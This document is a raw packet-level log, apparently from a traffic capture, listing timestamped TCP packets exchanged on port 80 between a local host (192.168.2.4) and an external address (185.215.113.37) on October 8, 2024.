Oct 8, 2024 08:22:14.696551085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696558952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696559906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696578979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696603060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696608067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696619034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696628094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696636915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696645021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696651936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696652889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696664095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696671009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696672916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696683884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696693897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696722031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696722984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697029114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697038889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697046995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697056055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697063923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697072983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697082996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697082996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697093964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697102070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697112083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697120905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697127104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697127104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697129965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697139978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697149038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697153091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697153091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697159052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697174072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697177887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697185040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697195053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697204113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697211027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697211981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697230101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697232962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697240114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697248936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697249889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697258949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697268963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697271109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697278976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697288990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697298050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697307110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697308064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697315931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697326899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697329998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697340012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697349072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697359085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697357893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697359085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697367907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697379112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697377920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697408915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697433949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697905064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697916031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697925091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697933912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697942019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697951078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697957993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697959900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697969913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697979927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697988033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697997093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.697998047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.697998047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698004961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698015928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698024988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698030949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698041916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698044062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698050976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698062897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698071957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698081970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698091984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698100090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698110104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698120117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698121071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698132038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698141098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698141098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698149920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698158979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698162079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698168993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698179007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698187113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698189020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698198080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698206902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698213100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698213100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698215008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698225975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698231936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698236942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698246956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698255062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698263884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698267937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698273897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698283911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698292971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698293924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698303938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698312998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698313951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698333025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698364019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.698939085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698950052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698957920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698966980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698976040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698985100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.698992968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699001074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699002981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699002981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699011087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699022055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699023962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699032068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699043989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699048042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699059010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699067116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699074030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699079037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699088097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699095964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699098110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699110985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699117899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699120998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699130058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699141026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699141979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699152946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699162006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699170113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699178934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699178934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699178934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699188948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699198961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699204922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699209929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699220896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699229956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699234962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699245930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699245930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699256897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699265957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699268103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699276924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699285984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699296951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699295998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699305058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699316025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699322939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699322939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699325085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699337006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699346066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699347973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699356079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699364901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699373960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699376106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699395895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699413061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699413061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699438095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699861050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699872017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699879885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699888945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699897051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699906111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699914932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699914932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699927092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699937105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699940920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699947119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699959040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699964046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699974060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.699984074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.699990988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700001001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700009108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700017929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700023890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700023890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700026035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700036049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700047016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700050116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700057030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700067043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700076103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700078011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700090885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700102091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700104952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700104952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700110912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700120926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700125933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700129986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700139999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700150013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700149059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700160027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700169086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700170040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700181961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700186968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700191021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700201035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700206995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700211048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700222015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700227022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700231075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700241089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700244904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700251102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700262070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700267076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700287104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700309038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700849056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700860023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700869083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700877905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700886011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.700901985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700901985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.700936079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.701039076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.701081038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.701103926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.701150894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706118107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706130028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706140041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706163883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706171989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706181049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706186056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706191063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706202984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706218004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706254005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706254005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706346989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706357002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706365108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706372976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706382036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706389904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706397057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706401110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706418037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706442118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706465006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706468105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706479073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706486940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706496000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706507921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706515074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706516981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706525087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706536055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706537008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706551075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706562042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706574917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706574917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706614017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706614017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706836939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706877947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.706902027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706948042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.706976891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707009077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707031965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707062960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707086086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707118988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707139969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707166910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707236052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707268953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707289934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707318068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707344055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707377911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707417965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707437992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707468987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707500935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707524061 CEST	49730	80	192.168.2.4	185.215.113.37
